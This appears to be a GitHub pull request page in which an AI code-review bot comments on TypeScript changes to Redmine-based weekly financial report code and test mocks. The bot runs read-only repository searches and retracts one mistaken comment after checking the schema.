57-81: Excellent error handling implementation.

The error handling has been significantly improved compared to previous versions. The implementation now includes:

  • Proper try-catch wrapping
  • Array validation before processing
  • Explicit type conversions for safety
  • Descriptive error messages with context

This addresses the previous concerns about error handling and type safety.


28-29:

Details

❌ Incorrect review comment

Verify the group name field mapping.

The query maps g.lastname AS group_name which seems semantically incorrect. Groups typically have a name or group_name field rather than lastname. Please verify this is the correct field for representing group names in your database schema.


🏁 Script executed:

#!/bin/bash
# Verify the database schema for the users table when used as groups
# Check what fields are available for group identification

# Search for database schema or migration files that define the users table structure
fd -e sql -e js -e ts | xargs rg -l "users.*table\|CREATE TABLE.*users\|users.*schema" | head -5

# Look for any documentation about using users table for groups
rg -A 10 -B 2 "users.*group\|group.*users" --type ts --type js --type md

Length of output: 173


To verify which table and column g.lastname is coming from, let’s pull in the full SQL snippet and alias definitions around those lines:


🏁 Script executed:

#!/bin/bash
# Locate the repository file
file=$(fd -e ts RedmineRepository.ts)

echo "---- File: $file ----"
# Show the first 200 lines to capture imports, connection setup, and the full query
sed -n '1,200p' "$file"

echo
echo "---- All occurrences of the `g.` alias ----"
rg -n -C3 'g\.' "$file"

Length of output: 1177


Let’s pull the full SQL query and see exactly what table g is aliasing, then inspect the lastname column in context:


🏁 Script executed:

#!/bin/bash
# Locate the RedmineRepository implementation (exclude the interface)
file=$(fd -e ts 'RedmineRepository.ts' | grep -v 'IRedmineRepository' | head -n1)
echo "---- File: $file ----"

# Dump the start of the file to capture imports and the full SQL block
sed -n '1,200p' "$file"

echo
echo "---- Context around alias 'g' and its column mappings ----"
rg -n -C3 " g\\.|FROM|JOIN" "$file"

Length of output: 3522


No change needed for group_name mapping
In Redmine’s schema, groups are stored in the single-table‐inheritance users table (alias g) with their name in the lastname column. Mapping g.lastname AS group_name is therefore correct—no update required.

Likely an incorrect or invalid review comment.

…erties

- Updated the test cases in `redmine.test.ts` to include new properties `user_id`, `username`, `spent_on`, and `total_hours` for the `getProjectUnits` method.
- Added assertions to verify the presence of these properties in the returned results, ensuring comprehensive validation of the extended data model.

These changes improve the test coverage for the `getProjectUnits` method, ensuring accurate validation of the new data structure and enhancing overall test reliability.
- Refactored the test for `getProjectUnits` in `redmine.test.ts` to use a spy on the `RedmineService` method, ensuring the method is called correctly.
- Added an assertion to verify the returned result is an empty array, enhancing the test's reliability and coverage.

These changes improve the accuracy of the test for the `getProjectUnits` method, ensuring it correctly validates the expected behavior of the service interaction.
coderabbitai[bot]
coderabbitai bot previously approved these changes May 30, 2025
- Removed the `redmine.types.ts` file as it is no longer needed, simplifying the codebase.
- Refactored the `getProjectUnits` function to accept a `RedmineService` instance, enhancing flexibility in testing and usage.
- Introduced a new `mocks/redmine.ts` file to provide mock implementations for testing, improving test isolation and reliability.
- Updated tests in `redmine.test.ts` to utilize the new mocking structure, ensuring accurate validation of the `getProjectUnits` method.

These changes enhance the maintainability and clarity of the Redmine functionalities, while also improving the testing framework.
@sonarqubecloud
Copy link

Copy link

@coderabbitai coderabbitai bot left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Actionable comments posted: 0

🧹 Nitpick comments (2)
workers/main/src/activities/weeklyFinancialReports/mocks/redmine.ts (2)

6-20: Well-structured mock factory with good defaults.

The createMockProjectUnit function provides sensible default values that align with the ProjectUnit interface from workers/main/src/common/types.ts. The use of Partial<ProjectUnit> for overrides allows flexible test data creation.

Consider adding JSDoc documentation to clarify the purpose and usage:

+/**
+ * Creates a mock ProjectUnit object with sensible defaults.
+ * @param overrides - Partial ProjectUnit to override default values
+ * @returns A complete ProjectUnit object for testing
+ */
 export function createMockProjectUnit(
   overrides: Partial<ProjectUnit> = {},
 ): ProjectUnit {

22-31: Improve type safety for the mock repository.

The mock implementation correctly handles both success and error scenarios. However, the type assertion could be improved for better type safety and clarity.

Consider using a more explicit typing approach:

 export function createMockRedmineRepository(
   units: ProjectUnit[] = [],
   error?: Error,
-): RedmineRepository {
-  return {
+): Pick<RedmineRepository, 'getProjectUnits'> {
+  const mockRepository = {
     getProjectUnits: error
       ? vi.fn().mockRejectedValue(error)
       : vi.fn().mockResolvedValue(units),
-  } as unknown as RedmineRepository;
+  };
+  
+  return mockRepository as RedmineRepository;
 }

This approach makes it clearer which methods are being mocked and provides better type safety.

📜 Review details

Configuration used: CodeRabbit UI
Review profile: CHILL
Plan: Pro

📥 Commits

Reviewing files that changed from the base of the PR and between 26d3600 and eb641c6.

📒 Files selected for processing (5)
  • workers/main/src/activities/weeklyFinancialReports/index.ts (1 hunks)
  • workers/main/src/activities/weeklyFinancialReports/mocks/redmine.ts (1 hunks)
  • workers/main/src/activities/weeklyFinancialReports/redmine.test.ts (1 hunks)
  • workers/main/src/activities/weeklyFinancialReports/redmine.ts (1 hunks)
  • workers/main/src/services/redmine/RedmineService.ts (1 hunks)
✅ Files skipped from review due to trivial changes (1)
  • workers/main/src/services/redmine/RedmineService.ts
🚧 Files skipped from review as they are similar to previous changes (3)
  • workers/main/src/activities/weeklyFinancialReports/index.ts
  • workers/main/src/activities/weeklyFinancialReports/redmine.test.ts
  • workers/main/src/activities/weeklyFinancialReports/redmine.ts
🧰 Additional context used
🧬 Code Graph Analysis (1)
workers/main/src/activities/weeklyFinancialReports/mocks/redmine.ts (2)
workers/main/src/common/types.ts (1)
  • ProjectUnit (1-10)
workers/main/src/services/redmine/RedmineRepository.ts (1)
  • RedmineRepository (50-82)
⏰ Context from checks skipped due to timeout of 90000ms (2)
  • GitHub Check: Docker Security Scanning (n8n, Dockerfile.n8n, n8n-test:latest)
  • GitHub Check: Service Availability Check
🔇 Additional comments (1)
workers/main/src/activities/weeklyFinancialReports/mocks/redmine.ts (1)

1-4: LGTM! Clean and necessary imports.

The imports are well-organized and all necessary for the mock implementations.

auto-merge was automatically disabled June 4, 2025 14:26

Pull request was closed

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

3 participants